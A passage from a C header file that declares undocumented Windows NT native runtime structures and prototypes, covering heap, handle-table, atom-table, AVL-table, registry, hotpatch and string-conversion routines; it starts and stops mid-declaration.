RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS; typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS { VmPrefetchInformation, VmPagePriorityInformation, VmCfgCallTargetInformation } VIRTUAL_MEMORY_INFORMATION_CLASS; typedef struct _VM_INFORMATION { DWORD dwNumberOfOffsets; PULONG plOutput; PCFG_CALL_TARGET_INFO ptOffsets; PVOID pMustBeZero; PVOID pMoarZero; } VM_INFORMATION, * PVM_INFORMATION; typedef struct _MEMORY_RANGE_ENTRY { PVOID VirtualAddress; SIZE_T NumberOfBytes; } MEMORY_RANGE_ENTRY, *PMEMORY_RANGE_ENTRY; typedef struct _RTL_PROCESS_LOCKS { ULONG NumberOfLocks; RTL_PROCESS_LOCK_INFORMATION Locks[ 1 ]; } RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS; #define MAX_STACK_DEPTH 32 typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION { PCHAR SymbolicBackTrace; ULONG TraceCount; USHORT Index; USHORT Depth; PVOID BackTrace[ MAX_STACK_DEPTH ]; } RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION; typedef struct _RTL_PROCESS_BACKTRACES { ULONG CommittedMemory; ULONG ReservedMemory; ULONG NumberOfBackTraceLookups; ULONG NumberOfBackTraces; RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[ 1 ]; } RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES; typedef struct _RTL_DEBUG_INFORMATION { HANDLE SectionHandleClient; PVOID ViewBaseClient; PVOID ViewBaseTarget; ULONG_PTR ViewBaseDelta; HANDLE EventPairClient; HANDLE EventPairTarget; HANDLE TargetProcessId; HANDLE TargetThreadHandle; ULONG Flags; SIZE_T OffsetFree; SIZE_T CommitSize; SIZE_T ViewSize; union { PRTL_PROCESS_MODULES Modules; PRTL_PROCESS_MODULE_INFORMATION_EX *ModulesEx; }; PRTL_PROCESS_BACKTRACES BackTraces; PRTL_PROCESS_HEAPS Heaps; PRTL_PROCESS_LOCKS Locks; PVOID SpecificHeap; HANDLE TargetProcessHandle; PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; PVOID ProcessHeap; HANDLE CriticalSectionHandle; HANDLE CriticalSectionOwnerThread; PVOID Reserved[4]; } RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION; //added 21/03/2011 //end // added: 22/04/2011 - RtlStream typedef struct _RTL_MEMORY_STREAM_DATA *PRTL_MEMORY_STREAM_DATA; typedef struct _RTL_MEMORY_STREAM_WITH_VTABLE *PRTL_MEMORY_STREAM_WITH_VTABLE; typedef struct _RTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA *PRTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA; HRESULT NTAPI RtlReleaseMemoryStream( PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream ); HRESULT NTAPI RtlSetMemoryStreamSize( PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, ULARGE_INTEGER ULargeInteger ); HRESULT NTAPI RtlCommitMemoryStream( PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, ULONG NewStream ); HRESULT NTAPI RtlRevertMemoryStream( PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream ); NTSTATUS NTAPI RtlCopySecurityDescriptor( PSECURITY_DESCRIPTOR SourceDescriptor, PSECURITY_DESCRIPTOR DestinationDescriptor ); typedef struct _RTL_HANDLE_TABLE_ENTRY { union { ULONG Flags; struct _RTL_HANDLE_TABLE_ENTRY *NextFree; }; } RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; #define RTL_HANDLE_ALLOCATED (USHORT)0x0001 typedef struct _RTL_HANDLE_TABLE { ULONG MaximumNumberOfHandles; ULONG SizeOfHandleTableEntry; ULONG Reserved[2]; PRTL_HANDLE_TABLE_ENTRY FreeHandles; PRTL_HANDLE_TABLE_ENTRY CommittedHandles; PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; } RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; #if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) typedef struct _JOB_SET_ARRAY { HANDLE JobHandle; // Handle to job object to insert DWORD MemberLevel; // Level of this job in the set. Must be > 0. Can be sparse. DWORD Flags; // Unused. Must be zero } JOB_SET_ARRAY, *PJOB_SET_ARRAY; #endif VOID NTAPI RtlInitializeHandleTable( IN ULONG MaximumNumberOfHandles, IN ULONG SizeOfHandleTableEntry, OUT PRTL_HANDLE_TABLE HandleTable ); NTSTATUS NTAPI RtlDestroyHandleTable( _Inout_ PRTL_HANDLE_TABLE HandleTable ); PRTL_HANDLE_TABLE_ENTRY NTAPI RtlAllocateHandle( IN PRTL_HANDLE_TABLE HandleTable, OUT OPTIONAL PULONG HandleIndex ); BOOLEAN NTAPI RtlFreeHandle( IN PRTL_HANDLE_TABLE HandleTable, IN PRTL_HANDLE_TABLE_ENTRY Handle ); BOOLEAN NTAPI RtlIsValidHandle( IN PRTL_HANDLE_TABLE HandleTable, IN PRTL_HANDLE_TABLE_ENTRY Handle ); BOOLEAN NTAPI RtlIsValidIndexHandle( IN PRTL_HANDLE_TABLE HandleTable, IN ULONG HandleIndex, OUT PRTL_HANDLE_TABLE_ENTRY *Handle ); #define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xc000 #define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000 #define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37 #define RTL_ATOM_MAXIMUM_NAME_LENGTH 255 #define RTL_ATOM_PINNED 0x01 NTSTATUS NTAPI RtlCreateAtomTable( IN ULONG NumberOfBuckets, OUT PVOID *AtomTableHandle ); NTSTATUS NTAPI RtlDestroyAtomTable( IN PVOID AtomTableHandle ); NTSTATUS NTAPI RtlEmptyAtomTable( IN PVOID AtomTableHandle, IN BOOLEAN IncludePinnedAtoms ); NTSTATUS NTAPI RtlAddAtomToAtomTable( IN PVOID AtomTableHandle, IN PWSTR AtomName, _Inout_opt_ PRTL_ATOM Atom ); NTSTATUS NTAPI RtlLookupAtomInAtomTable( IN PVOID AtomTableHandle, IN PWSTR AtomName, OUT OPTIONAL PRTL_ATOM Atom ); NTSTATUS NTAPI RtlDeleteAtomFromAtomTable( IN PVOID AtomTableHandle, IN RTL_ATOM Atom ); NTSTATUS NTAPI RtlPinAtomInAtomTable( IN PVOID AtomTableHandle, IN RTL_ATOM Atom ); NTSTATUS NTAPI RtlQueryAtomInAtomTable( IN PVOID AtomTableHandle, IN RTL_ATOM Atom, OUT OPTIONAL PULONG AtomUsage, OUT OPTIONAL PULONG AtomFlags, _Inout_ PWSTR AtomName, _Inout_opt_ PULONG AtomNameLength ); NTSTATUS NTAPI RtlQueryAtomsInAtomTable( IN PVOID AtomTableHandle, IN ULONG MaximumNumberOfAtoms, OUT PULONG NumberOfAtoms, OUT PRTL_ATOM Atoms ); BOOLEAN NTAPI RtlGetIntegerAtom( IN PWSTR AtomName, OUT OPTIONAL PUSHORT IntegerAtom ); #define EVENT_MIN_LEVEL (0) #define EVENT_MAX_LEVEL (0xff) #define EVENT_ACTIVITY_CTRL_GET_ID (1) #define EVENT_ACTIVITY_CTRL_SET_ID (2) #define EVENT_ACTIVITY_CTRL_CREATE_ID (3) #define EVENT_ACTIVITY_CTRL_GET_SET_ID (4) #define EVENT_ACTIVITY_CTRL_CREATE_SET_ID (5) typedef ULONGLONG REGHANDLE, *PREGHANDLE; #define MAX_EVENT_DATA_DESCRIPTORS (128) #define MAX_EVENT_FILTER_DATA_SIZE (1024) // // EVENT_DATA_DESCRIPTOR is used to pass in user data items // in events. // typedef struct _EVENT_DATA_DESCRIPTOR { ULONG_PTR Ptr; // Pointer to data ULONG Size; // Size of data in bytes ULONG Reserved; } EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR; typedef struct _EVENT_DESCRIPTOR { USHORT Id; UCHAR Version; UCHAR Channel; UCHAR Level; UCHAR Opcode; USHORT Task; ULONGLONG Keyword; } EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR; typedef const EVENT_DESCRIPTOR *PCEVENT_DESCRIPTOR; // // EVENT_FILTER_DESCRIPTOR is used to pass in enable filter // data item to a user callback function. // typedef struct _EVENT_FILTER_DESCRIPTOR { ULONG_PTR Ptr; ULONG Size; ULONG Type; } EVENT_FILTER_DESCRIPTOR, *PEVENT_FILTER_DESCRIPTOR; // // old nt4 channel stuff // //#pragma pack(1) #pragma pack() typedef struct _CHANNEL_MESSAGE { PVOID Text; ULONG Length; PVOID Context; PVOID Base; union { BOOLEAN Close; LONGLONG Align; }; } CHANNEL_MESSAGE, *PCHANNEL_MESSAGE; typedef struct _HOTPATCH_HEADER { ULONG Signature; ULONG Version; ULONG FixupRgnCount; ULONG FixupRgnRva; ULONG ValidationCount; ULONG ValidationArrayRva; ULONG HookCount; ULONG HookArrayRva; ULONG_PTR OrigHotpBaseAddress; ULONG_PTR OrigTargetBaseAddress; ULONG TargetNameRva; ULONG ModuleIdMethod; union { ULONG Filler; } TargetModuleIdValue; } HOTPATCH_HEADER, *PHOTPATCH_HEADER; typedef struct _HOTPATCH_MODULE_DATA { USHORT HotpatchImageNameLength; USHORT ColdpatchImagePathLength; WCHAR NameBuffer[ 1 ]; } HOTPATCH_MODULE_DATA, *PHOTPATCH_MODULE_DATA; typedef struct _HOTPATCH_MODULE_ENTRY { struct _TRIPLE_LIST_ENTRY ListEntry; struct _HOTPATCH_MODULE_DATA Data; } HOTPATCH_MODULE_ENTRY, *PHOTPATCH_MODULE_ENTRY; typedef struct _HOTPATCH_HOOK { USHORT HookType; USHORT HookOptions; ULONG HookRva; ULONG HotpRva; ULONG ValidationRva; } HOTPATCH_HOOK, *PHOTPATCH_HOOK; typedef struct _RTL_PATCH_HEADER { LIST_ENTRY PatchList; PVOID PatchImageBase; struct _RTL_PATCH_HEADER* NextPatch; ULONG PatchFlags; LONG PatchRefCount; struct _HOTPATCH_HEADER* HotpatchHeader; UNICODE_STRING TargetDllName; HANDLE TargetDllBase; PLDR_DATA_TABLE_ENTRY TargetLdrDataTableEntry; PLDR_DATA_TABLE_ENTRY PatchLdrDataTableEntry; PSYSTEM_HOTPATCH_CODE_INFORMATION CodeInfo; PVOID ColdpatchFileHandle; HOTPATCH_MODULE_ENTRY HotpatchModuleEntry; } RTL_PATCH_HEADER, *PRTL_PATCH_HEADER; #pragma warning(default: 4273) // nconsistent dll linkage (winnt.h) #ifndef _SLIST_HEADER_ #define _SLIST_HEADER_ #if defined(_M_X64) // // The type SINGLE_LIST_ENTRY is not suitable for use with SLISTs. For // WIN64, an entry on an SLIST is required to be 16-byte aligned, while a // SINGLE_LIST_ENTRY structure has only 8 byte alignment. // // Therefore, all SLIST code should use the SLIST_ENTRY type instead of the // SINGLE_LIST_ENTRY type. // #pragma warning(push) #pragma warning(disable:4324) // structure padded due to align() typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY *PSLIST_ENTRY; typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY { PSLIST_ENTRY Next; } SLIST_ENTRY; #pragma warning(pop) #else #define SLIST_ENTRY SINGLE_LIST_ENTRY #define _SLIST_ENTRY _SINGLE_LIST_ENTRY #define PSLIST_ENTRY PSINGLE_LIST_ENTRY #endif #if defined(_M_X64) typedef struct DECLSPEC_ALIGN(16) _SLIST_HEADER { ULONGLONG Alignment; ULONGLONG Region; } SLIST_HEADER; typedef struct _SLIST_HEADER *PSLIST_HEADER; #else typedef union _SLIST_HEADER { ULONGLONG Alignment; struct { SLIST_ENTRY Next; WORD Depth; WORD Sequence; }; } SLIST_HEADER, *PSLIST_HEADER; #endif #endif // // prototypes *must* be encapsulated with extern "C" macros at start and end of prototype block // PSLIST_ENTRY __fastcall RtlInterlockedPushListSList ( IN PSLIST_HEADER ListHead, IN PSLIST_ENTRY List, IN PSLIST_ENTRY ListEnd, IN ULONG Count ); VOID NTAPI RtlAssert( IN PVOID VoidFailedAssertion, IN PVOID VoidFileName, IN ULONG LineNumber, _In_opt_ PSTR MutableMessage ); VOID NTAPI RtlInitializeGenericTableAvl ( PRTL_AVL_TABLE Table, PRTL_AVL_COMPARE_ROUTINE CompareRoutine, PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, PRTL_AVL_FREE_ROUTINE FreeRoutine, PVOID TableContext ); PVOID NTAPI RtlInsertElementGenericTableAvl ( PRTL_AVL_TABLE Table, PVOID Buffer, ULONG BufferSize, PBOOLEAN NewElement OPTIONAL ); PVOID NTAPI RtlInsertElementGenericTableFullAvl ( PRTL_AVL_TABLE Table, PVOID Buffer, ULONG BufferSize, PBOOLEAN NewElement OPTIONAL, PVOID NodeOrParent, TABLE_SEARCH_RESULT SearchResult ); BOOLEAN NTAPI RtlDeleteElementGenericTableAvl ( PRTL_AVL_TABLE Table, PVOID Buffer ); PVOID NTAPI RtlLookupElementGenericTableAvl ( PRTL_AVL_TABLE Table, PVOID Buffer ); PVOID NTAPI RtlLookupElementGenericTableFullAvl ( PRTL_AVL_TABLE Table, PVOID Buffer, OUT PVOID *NodeOrParent, OUT TABLE_SEARCH_RESULT *SearchResult ); PVOID NTAPI RtlEnumerateGenericTableAvl ( PRTL_AVL_TABLE Table, BOOLEAN Restart ); PVOID NTAPI RtlEnumerateGenericTableWithoutSplayingAvl ( PRTL_AVL_TABLE Table, PVOID *RestartKey ); PVOID NTAPI RtlEnumerateGenericTableLikeADirectory ( IN PRTL_AVL_TABLE Table, IN PRTL_AVL_MATCH_FUNCTION MatchFunction, IN PVOID MatchData, IN ULONG NextFlag, _Inout_ PVOID *RestartKey, _Inout_ PULONG DeleteCount, _Inout_ PVOID Buffer ); PVOID NTAPI RtlGetElementGenericTableAvl ( PRTL_AVL_TABLE Table, ULONG I ); ULONG NTAPI RtlNumberGenericTableElementsAvl ( PRTL_AVL_TABLE Table ); BOOLEAN NTAPI RtlIsGenericTableEmptyAvl ( PRTL_AVL_TABLE Table ); PRTL_SPLAY_LINKS NTAPI RtlSplay ( PRTL_SPLAY_LINKS Links ); PRTL_SPLAY_LINKS NTAPI RtlDelete ( PRTL_SPLAY_LINKS Links ); VOID NTAPI RtlDeleteNoSplay ( PRTL_SPLAY_LINKS Links, PRTL_SPLAY_LINKS *Root ); PRTL_SPLAY_LINKS NTAPI RtlSubtreeSuccessor ( PRTL_SPLAY_LINKS Links ); PRTL_SPLAY_LINKS NTAPI RtlSubtreePredecessor ( PRTL_SPLAY_LINKS Links ); PRTL_SPLAY_LINKS NTAPI RtlRealSuccessor ( PRTL_SPLAY_LINKS Links ); PRTL_SPLAY_LINKS NTAPI RtlRealPredecessor ( PRTL_SPLAY_LINKS Links ); VOID NTAPI RtlInitializeGenericTable ( PRTL_GENERIC_TABLE Table, PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, PRTL_GENERIC_FREE_ROUTINE FreeRoutine, PVOID TableContext ); PVOID NTAPI RtlInsertElementGenericTable ( PRTL_GENERIC_TABLE Table, PVOID Buffer, ULONG BufferSize, PBOOLEAN NewElement OPTIONAL ); PVOID NTAPI RtlInsertElementGenericTableFull ( PRTL_GENERIC_TABLE Table, PVOID Buffer, ULONG BufferSize, PBOOLEAN NewElement OPTIONAL, PVOID NodeOrParent, TABLE_SEARCH_RESULT SearchResult ); BOOLEAN NTAPI RtlDeleteElementGenericTable ( PRTL_GENERIC_TABLE Table, PVOID Buffer ); PVOID NTAPI RtlLookupElementGenericTable ( PRTL_GENERIC_TABLE Table, PVOID Buffer ); PVOID NTAPI RtlLookupElementGenericTableFull ( PRTL_GENERIC_TABLE Table, PVOID Buffer, OUT PVOID *NodeOrParent, OUT TABLE_SEARCH_RESULT *SearchResult ); PVOID NTAPI RtlEnumerateGenericTable ( PRTL_GENERIC_TABLE Table, BOOLEAN Restart ); PVOID NTAPI RtlEnumerateGenericTableWithoutSplaying ( PRTL_GENERIC_TABLE Table, PVOID *RestartKey ); PVOID NTAPI RtlGetElementGenericTable( PRTL_GENERIC_TABLE Table, ULONG I ); ULONG NTAPI RtlNumberGenericTableElements( PRTL_GENERIC_TABLE Table ); BOOLEAN NTAPI RtlIsGenericTableEmpty ( PRTL_GENERIC_TABLE Table ); NTSTATUS NTAPI RtlInitializeHeapManager( ); PVOID NTAPI RtlCreateHeap( IN ULONG Flags, IN PVOID HeapBase OPTIONAL, IN SIZE_T ReserveSize OPTIONAL, IN SIZE_T CommitSize OPTIONAL, IN PVOID Lock OPTIONAL, IN PRTL_HEAP_PARAMETERS Parameters OPTIONAL ); PVOID NTAPI RtlDestroyHeap( IN PVOID HeapHandle ); PVOID NTAPI RtlAllocateHeap( IN PVOID HeapHandle, IN ULONG Flags, IN SIZE_T Size ); BOOLEAN NTAPI RtlFreeHeap( IN PVOID HeapHandle, _In_opt_ ULONG Flags, IN PVOID BaseAddress ); SIZE_T NTAPI RtlSizeHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID BaseAddress ); NTSTATUS NTAPI RtlZeroHeap( IN PVOID HeapHandle, IN ULONG Flags ); VOID NTAPI RtlProtectHeap( IN PVOID HeapHandle, IN BOOLEAN MakeReadOnly ); ULONG NTAPI RtlGetNtGlobalFlags( VOID ); VOID NTAPI RtlGetCallersAddress( OUT PVOID *CallersAddress, OUT PVOID *CallersCaller ); ULONG NTAPI RtlWalkFrameChain ( OUT PVOID *Callers, IN ULONG Count, IN ULONG Flags ); USHORT NTAPI RtlLogStackBackTrace( VOID ); ULONG NTAPI RtlCaptureStackContext ( OUT PULONG_PTR Callers, OUT PRTL_STACK_CONTEXT Context, IN ULONG Limit ); BOOLEAN NTAPI RtlGetNtProductType( PNT_PRODUCT_TYPE NtProductType ); NTSTATUS NTAPI RtlFormatCurrentUserKeyPath ( OUT PUNICODE_STRING CurrentUserKeyPath ); NTSTATUS NTAPI RtlOpenCurrentUser( IN ULONG DesiredAccess, OUT PHANDLE CurrentUserKey ); NTSTATUS NTAPI RtlQueryRegistryValues( IN ULONG RelativeTo, IN PCWSTR Path, IN PRTL_QUERY_REGISTRY_TABLE QueryTable, IN PVOID Context, IN PVOID Environment OPTIONAL ); NTSTATUS NTAPI RtlWriteRegistryValue( IN ULONG RelativeTo, IN PCWSTR Path, IN PCWSTR ValueName, IN ULONG ValueType, IN PVOID ValueData, IN ULONG ValueLength ); NTSTATUS NTAPI RtlDeleteRegistryValue( IN ULONG RelativeTo, IN PCWSTR Path, IN PCWSTR ValueName ); NTSTATUS NTAPI RtlCreateRegistryKey( IN ULONG RelativeTo, IN PWSTR Path ); NTSTATUS NTAPI RtlCheckRegistryKey( IN ULONG RelativeTo, IN PWSTR Path ); //added 21/03/2011 //begin BOOLEAN NTAPI RtlLockHeap( IN PVOID HeapHandle ); BOOLEAN NTAPI RtlUnlockHeap( IN PVOID HeapHandle ); PVOID NTAPI RtlReAllocateHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID BaseAddress, IN SIZE_T Size ); BOOLEAN NTAPI RtlGetUserInfoHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID BaseAddress, OUT OPTIONAL PVOID *UserValue, OUT OPTIONAL PULONG UserFlags ); BOOLEAN NTAPI RtlSetUserValueHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID BaseAddress, IN PVOID UserValue ); BOOLEAN NTAPI RtlSetUserFlagsHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID BaseAddress, IN ULONG UserFlagsReset, IN ULONG UserFlagsSet ); ULONG NTAPI RtlCreateTagHeap( IN PVOID HeapHandle, IN ULONG Flags, _In_opt_ PWSTR TagPrefix, IN PWSTR TagNames ); PWSTR NTAPI RtlQueryTagHeap( IN PVOID HeapHandle, IN ULONG Flags, IN USHORT TagIndex, IN BOOLEAN ResetCounters, OUT OPTIONAL PRTL_HEAP_TAG_INFO TagInfo ); NTSTATUS NTAPI RtlExtendHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID Base, IN SIZE_T Size ); SIZE_T NTAPI RtlCompactHeap( IN PVOID HeapHandle, IN ULONG Flags ); BOOLEAN NTAPI RtlValidateProcessHeaps( ); ULONG NTAPI RtlGetProcessHeaps( IN ULONG NumberOfHeaps, OUT PVOID *ProcessHeaps ); NTSTATUS NTAPI RtlUsageHeap( IN PVOID HeapHandle, IN ULONG Flags, _Inout_ PRTL_HEAP_USAGE Usage ); NTSTATUS NTAPI RtlWalkHeap( IN PVOID HeapHandle, _Inout_ PRTL_HEAP_WALK_ENTRY Entry ); #if !defined(_WINDOWS_) NTSTATUS NTAPI RtlQueryHeapInformation( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, OUT OPTIONAL PVOID HeapInformation, _In_opt_ SIZE_T HeapInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI RtlSetHeapInformation( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, _In_opt_ PVOID HeapInformation, _In_opt_ SIZE_T HeapInformationLength ); #endif ULONG NTAPI RtlMultipleAllocateHeap( IN PVOID HeapHandle, IN ULONG Flags, IN SIZE_T Size, IN ULONG Count, OUT PVOID *Array ); ULONG NTAPI RtlMultipleFreeHeap( IN PVOID HeapHandle, IN ULONG Flags, IN ULONG Count, IN PVOID *Array ); VOID NTAPI RtlDetectHeapLeaks( VOID ); #if (NTDDI_VERSION >= NTDDI_VISTA) NTSTATUS NTAPI RtlCreateMemoryZone( OUT PVOID *MemoryZone, IN SIZE_T InitialSize, ULONG Flags ); NTSTATUS NTAPI RtlDestroyMemoryZone( IN PVOID MemoryZone ); NTSTATUS NTAPI RtlAllocateMemoryZone( IN PVOID MemoryZone, IN SIZE_T BlockSize, OUT PVOID *Block ); NTSTATUS NTAPI RtlResetMemoryZone( IN PVOID MemoryZone ); NTSTATUS NTAPI RtlLockMemoryZone( IN PVOID MemoryZone ); NTSTATUS NTAPI RtlUnlockMemoryZone( IN PVOID MemoryZone ); #endif #if (NTDDI_VERSION >= NTDDI_VISTA) NTSTATUS NTAPI RtlCreateMemoryBlockLookaside( OUT PVOID *MemoryBlockLookaside, IN ULONG Flags, IN ULONG InitialSize, IN ULONG MinimumBlockSize, IN ULONG MaximumBlockSize ); NTSTATUS NTAPI RtlDestroyMemoryBlockLookaside( IN PVOID MemoryBlockLookaside ); NTSTATUS NTAPI RtlAllocateMemoryBlockLookaside( IN PVOID MemoryBlockLookaside, IN ULONG BlockSize, OUT PVOID *Block ); NTSYSAPI NTSTATUS NTAPI RtlFreeMemoryBlockLookaside( IN PVOID MemoryBlockLookaside, IN PVOID Block ); NTSTATUS NTAPI RtlExtendMemoryBlockLookaside( IN PVOID MemoryBlockLookaside, IN ULONG Increment ); NTSTATUS NTAPI RtlResetMemoryBlockLookaside( IN PVOID MemoryBlockLookaside ); NTSTATUS NTAPI RtlLockMemoryBlockLookaside( IN PVOID MemoryBlockLookaside ); NTSTATUS NTAPI RtlUnlockMemoryBlockLookaside( IN PVOID MemoryBlockLookaside ); #endif HANDLE NTAPI RtlGetCurrentTransaction( ); LOGICAL NTAPI RtlSetCurrentTransaction( IN HANDLE TransactionHandle ); PRTL_DEBUG_INFORMATION NTAPI RtlCreateQueryDebugBuffer( _In_opt_ ULONG MaximumCommit, IN BOOLEAN UseEventPair ); NTSTATUS NTAPI RtlDestroyQueryDebugBuffer( IN PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessDebugInformation( IN HANDLE UniqueProcessId, IN ULONG Flags, _Inout_ PRTL_DEBUG_INFORMATION Buffer ); //added 21/03/2011 //end ULONG NTAPI RtlUniform ( PULONG Seed ); NTSTATUS RtlComputeImportTableHash( IN HANDLE hFile, OUT PCHAR Hash, IN ULONG ImportTableHashRevision ); NTSTATUS NTAPI RtlIntegerToChar ( ULONG Value, ULONG Base, LONG OutputLength, PSZ String ); NTSTATUS NTAPI RtlIntegerToUnicode ( IN ULONG Value, IN ULONG Base OPTIONAL, IN LONG OutputLength, OUT PWSTR String ); NTSTATUS NTAPI RtlLargeIntegerToChar ( PLARGE_INTEGER Value, ULONG Base OPTIONAL, LONG OutputLength, PSZ String ); NTSTATUS NTAPI RtlLargeIntegerToUnicode ( IN PLARGE_INTEGER Value, IN ULONG Base OPTIONAL, IN LONG OutputLength, OUT PWSTR String ); PSTR NTAPI RtlIpv4AddressToStringA ( IN const struct in_addr *Addr, OUT PSTR S ); PSTR NTAPI RtlIpv6AddressToStringA ( IN const struct in6_addr *Addr, OUT PSTR S ); NTSTATUS NTAPI RtlIpv4AddressToStringExA( IN const struct in_addr *Address, IN USHORT Port, OUT PSTR AddressString, _Inout_ PULONG AddressStringLength ); NTSTATUS NTAPI RtlIpv6AddressToStringExA( IN const struct in6_addr *Address, IN ULONG ScopeId, IN USHORT Port, OUT PSTR AddressString, _Inout_ PULONG AddressStringLength ); PWSTR NTAPI RtlIpv4AddressToStringW ( IN const struct in_addr *Addr, OUT PWSTR S ); PWSTR NTAPI RtlIpv6AddressToStringW ( IN const struct in6_addr *Addr, OUT PWSTR S ); NTSTATUS NTAPI RtlIpv4AddressToStringExW( IN const struct in_addr *Address, IN USHORT Port, OUT PWSTR AddressString, _Inout_ PULONG AddressStringLength ); NTSTATUS NTAPI RtlIpv6AddressToStringExW( IN const struct in6_addr *Address, IN ULONG ScopeId, IN USHORT Port, OUT PWSTR AddressString, _Inout_ PULONG AddressStringLength ); NTSTATUS NTAPI RtlIpv4StringToAddressA ( IN PCSTR S, IN BOOLEAN Strict, OUT PCSTR *Terminator, OUT struct in_addr *Addr ); NTSTATUS NTAPI RtlIpv6StringToAddressA ( IN PCSTR S, OUT PCSTR *Terminator, OUT struct in6_addr *Addr ); NTSTATUS NTAPI RtlIpv4StringToAddressExA ( IN PCSTR AddressString, IN BOOLEAN Strict, OUT struct in_addr *Address, OUT PUSHORT Port ); NTSTATUS NTAPI RtlIpv6StringToAddressExA ( IN PCSTR AddressString, OUT struct in6_addr *Address, OUT PULONG ScopeId, OUT PUSHORT Port ); NTSTATUS NTAPI RtlIpv4StringToAddressW ( IN PCWSTR S, IN BOOLEAN Strict, OUT LPCWSTR *Terminator, OUT struct in_addr *Addr ); NTSTATUS NTAPI RtlIpv6StringToAddressW ( IN PCWSTR S, OUT PCWSTR *Terminator, OUT struct in6_addr *Addr ); NTSTATUS NTAPI RtlIpv4StringToAddressExW ( IN PCWSTR AddressString, IN BOOLEAN Strict, OUT struct in_addr *Address, OUT PUSHORT Port ); NTSTATUS NTAPI RtlIpv6StringToAddressExW ( IN PCWSTR AddressString, OUT struct in6_addr *Address, OUT PULONG ScopeId, OUT PUSHORT Port ); NTSTATUS NTAPI RtlIntegerToUnicodeString ( ULONG Value, ULONG Base, PUNICODE_STRING String ); NTSTATUS NTAPI RtlInt64ToUnicodeString ( IN ULONGLONG Value, IN ULONG Base OPTIONAL, _Inout_ PUNICODE_STRING String ); NTSTATUS NTAPI RtlUnicodeStringToInteger ( PCUNICODE_STRING String, ULONG Base, PULONG Value ); VOID NTAPI RtlInitString( PSTRING DestinationString, PCSZ SourceString ); VOID NTAPI RtlInitAnsiString( PANSI_STRING DestinationString, PCSZ SourceString ); NTSTATUS NTAPI RtlInitUnicodeString( PUNICODE_STRING DestinationString, PCWSTR SourceString ); NTSTATUS NTAPI RtlInitUnicodeStringEx( PUNICODE_STRING DestinationString, PCWSTR SourceString ); NTSTATUS NTAPI RtlInitAnsiStringEx( OUT PANSI_STRING DestinationString, IN PCSZ SourceString OPTIONAL ); BOOLEAN NTAPI RtlCreateUnicodeString( OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString ); BOOLEAN NTAPI RtlEqualDomainName( IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2 ); BOOLEAN NTAPI RtlEqualComputerName( IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2 ); NTSTATUS RtlDnsHostNameToComputerName( OUT PUNICODE_STRING ComputerNameString, IN PCUNICODE_STRING DnsHostNameString, IN BOOLEAN AllocateComputerNameString ); BOOLEAN NTAPI RtlCreateUnicodeStringFromAsciiz( OUT PUNICODE_STRING DestinationString, IN PCSZ SourceString ); VOID NTAPI RtlCopyString( PSTRING DestinationString, const STRING * SourceString ); CHAR NTAPI RtlUpperChar ( CHAR Character ); LONG NTAPI RtlCompareString( const STRING * String1, const STRING * String2, BOOLEAN CaseInSensitive ); BOOLEAN NTAPI RtlEqualString( const STRING * String1, const STRING * String2, BOOLEAN CaseInSensitive ); BOOLEAN NTAPI RtlPrefixString( const STRING * String1, const STRING * String2, BOOLEAN CaseInSensitive ); VOID NTAPI RtlUpperString( PSTRING DestinationString, const STRING * SourceString ); NTSTATUS NTAPI RtlAppendAsciizToString ( PSTRING Destination, PCSZ Source ); NTSTATUS NTAPI RtlAppendStringToString ( PSTRING Destination, const STRING * Source ); NTSTATUS NTAPI RtlAnsiStringToUnicodeString( PUNICODE_STRING DestinationString, PCANSI_STRING SourceString, BOOLEAN AllocateDestinationString ); WCHAR NTAPI RtlAnsiCharToUnicodeChar( PUCHAR *SourceCharacter ); NTSTATUS NTAPI RtlUnicodeStringToAnsiString( PANSI_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlUpcaseUnicodeStringToAnsiString( PANSI_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI 